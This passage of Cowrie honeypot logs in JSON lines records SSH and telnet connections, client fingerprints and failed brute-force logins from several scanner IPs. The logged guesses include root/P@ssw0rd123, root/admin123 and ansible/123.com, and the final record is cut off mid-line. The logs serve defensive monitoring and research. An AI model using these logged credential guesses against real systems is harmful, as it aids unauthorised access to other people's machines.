{"eventid":"cowrie.session.closed","duration":30.772812366485596,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:47.174009Z","src_ip":"161.97.124.15","session":"530ae3240423","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":45846,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ec71cfccce2","protocol":"ssh","message":"New connection: 176.65.139.103:45846 (10.17.0.5:22) [session: 6ec71cfccce2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:49.596867Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:49.601294Z","src_ip":"176.65.139.103","session":"6ec71cfccce2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:49.686005Z","src_ip":"176.65.139.103","session":"6ec71cfccce2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd123","message":"login attempt [root/P@ssw0rd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:49.932762Z","src_ip":"176.65.139.103","session":"6ec71cfccce2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":41836,"dst_ip":"159.203.135.109","dst_port":23,"session":"67afcb6e5076","protocol":"telnet","message":"New connection: 161.97.124.15:41836 (159.203.135.109:23) [session: 67afcb6e5076]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:50.703624Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:51.110391Z","src_ip":"176.65.139.103","session":"6ec71cfccce2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":43640,"dst_ip":"159.203.135.109","dst_port":23,"session":"84df2a4d40cf","protocol":"telnet","message":"New connection: 161.97.124.15:43640 (159.203.135.109:23) [session: 84df2a4d40cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:51.361383Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":48194,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab03a12fbee3","protocol":"ssh","message":"New connection: 176.65.139.103:48194 (10.17.0.5:22) [session: ab03a12fbee3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:55.983044Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:55.996348Z","src_ip":"176.65.139.103","session":"ab03a12fbee3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:56.067889Z","src_ip":"176.65.139.103","session":"ab03a12fbee3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123","message":"login attempt [root/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:56.390795Z","src_ip":"176.65.139.103","session":"ab03a12fbee3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:57.521374Z","src_ip":"176.65.139.103","session":"ab03a12fbee3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.26954221725464,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:58.920382Z","src_ip":"185.26.126.47","session":"99f3e72fcd78","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.523845195770264,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:59.046745Z","src_ip":"161.97.124.15","session":"6534997b0afa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.62325668334961,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:59:59.106500Z","src_ip":"161.97.124.15","session":"44c12234925b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":48196,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d1d34d94977","protocol":"ssh","message":"New connection: 176.65.139.103:48196 (10.17.0.5:22) [session: 5d1d34d94977]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:00:01.949117Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:00:01.955867Z","src_ip":"176.65.139.103","session":"5d1d34d94977","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:00:02.041721Z","src_ip":"176.65.139.103","session":"5d1d34d94977","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":48136,"dst_ip":"10.17.0.5","dst_port":22,"session":"b0c29742ee53","protocol":"ssh","message":"New connection: 80.94.92.182:48136 (10.17.0.5:22) [session: b0c29742ee53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:00:02.133069Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:00:02.192786Z","src_ip":"80.94.92.182","session":"b0c29742ee53","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:00:02.274566Z","src_ip":"80.94.92.182","session":"b0c29742ee53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"1","message":"login attempt [deploy/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:00:02.316471Z","src_ip":"176.65.139.103","session":"5d1d34d94977","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:00:03.422580Z","src_ip":"176.65.139.103","session":"5d1d34d94977","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.115","src_port":47992,"dst_ip":"10.17.0.5","dst_port":22,"session":"663b9124e9e4","protocol":"ssh","message":"New connection: 103.176.20.115:47992 (10.17.0.5:22) [session: 663b9124e9e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:00:03.591140Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:00:03.597099Z","src_ip":"103.176.20.115","session":"663b9124e9e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fuckoff","message":"login attempt [root/fuckoff] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:00:03.839755Z","src_ip":"80.94.92.182","session":"b0c29742ee53","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:00:03.847528Z","src_ip":"103.176.20.115","session":"663b9124e9e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57066,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f0ef3cbd9d7","protocol":"ssh","message":"New connection: 159.203.92.129:57066 (159.203.135.109:22) [session: 5f0ef3cbd9d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:00:04.372250Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"14789632","message":"login attempt [root/14789632] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:00:04.846685Z","src_ip":"103.176.20.115","session":"663b9124e9e4","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:00:05.050196Z","src_ip":"159.203.92.129","session":"5f0ef3cbd9d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:00:05.054493Z","src_ip":"159.203.92.129","session":"5f0ef3cbd9d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:00:05.656033Z","src_ip":"80.94.92.182","session":"b0c29742ee53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:00:06.091744Z","src_ip":"103.176.20.115","session":"663b9124e9e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":49978,"dst_ip":"10.17.0.5","dst_port":22,"session":"60bfd7881b45","protocol":"ssh","message":"New connection: 176.65.139.103:49978 (10.17.0.5:22) [session: 60bfd7881b45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:00:07.785214Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:00:07.790986Z","src_ip":"176.65.139.103","session":"60bfd7881b45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:00:07.874354Z","src_ip":"176.65.139.103","session":"60bfd7881b45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"123.com","message":"login attempt [ansible/123.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:00:07.887704Z","src_ip":"159.203.92.129","session":"5f0ef3cbd9d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"123456","message":"login attempt [www/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:00:08.151539Z","src_ip":"176.65.139.103","session":"60bfd7881b45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:00:09.180470Z","src_ip":"159.203.92.129","session":"5f0ef3cbd9d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:00:09.240051Z","src_ip":"176.65.139.103","session":"60bfd7881b45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.184.144.220","src_port":54972,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed0102a1c1f6","protocol":"ssh","message":"New connection: 202.184.144.220:54972 (10.17.0.5:22) [session: ed0102a1c1f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:00:10.618344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:00:10.626108Z","src_ip":"202.184.144.220","session":"ed0102a1c1f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"m